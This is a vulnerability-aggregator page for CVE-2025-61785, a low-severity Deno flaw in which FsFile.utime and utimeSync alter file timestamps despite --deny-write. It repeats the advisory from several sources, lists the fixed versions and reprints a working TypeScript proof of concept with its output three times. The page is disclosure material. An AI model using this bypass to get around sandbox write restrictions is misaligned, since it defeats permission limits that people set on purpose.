Every CVE Search/ Get API key

CVE-2025-61785

Deno's --deny-write check does not prevent permission bypass

3.3 LowFix available

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
None

Exploit likelihood

0.20%Up 0.2 points since Oct 8, 2025
90%50%10%1%

What each source reports

CVE List Score used 3.3

Deno's --deny-write check does not prevent permission bypass

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
CVE-2025-61785
CVSS 3.0
3.3 LowCVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-266
Updated
2026-11-02
EUVDEUVD-2025-31878 3.3

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
EUVD-2025-31878
CVSS 3.0
3.3 LowCVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-vg2r-rmgp-cgqj 3.3

Deno's --deny-write check does not prevent permission bypass

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();
    
    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
    
    const fileInfoAfter = await file.stat();
    
    
    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();
    
    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
    
    const fileInfoAfter = file.statSync();
    
    
    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"), new…
Record
GHSA-vg2r-rmgp-cgqj
CVSS 3.0
3.3 LowCVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-266
Updated
2026-11-02
NVD 3.3

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
CVE-2025-61785
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CVSS 3.0
3.3 LowCVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-266
Updated
2026-11-02
OSV 3.3

Deno's --deny-write check does not prevent permission bypass

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
CVE-2025-61785
CVSS 3.0
3.3 LowCVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-266
Updated
2026-11-02
OSVGHSA-vg2r-rmgp-cgqj 3.3

Deno's --deny-write check does not prevent permission bypass

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();
    
    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
    
    const fileInfoAfter = await file.stat();
    
    
    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();
    
    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
    
    const fileInfoAfter = file.statSync();
    
    
    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"), new…
Record
GHSA-vg2r-rmgp-cgqj
CVSS 3.0
3.3 LowCVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-266
Updated
2026-11-02
OSVJLSEC-2026-111 3.3

Deno's --deny-write check does not prevent permission bypass

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();
    
    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
    
    const fileInfoAfter = await file.stat();
    
    
    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();
    
    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
    
    const fileInfoAfter = file.statSync();
    
    
    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"),…
Record
JLSEC-2026-111
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
deno
crates.io
before 2.5.3
2.5.3
Deno_jll
Julia
before 2.6.3+0
2.6.3+0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-61785 is a low vulnerability (CVSS 3.3) in Deno, published October 7, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 10th percentile. Fixed in deno 2.5.3.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open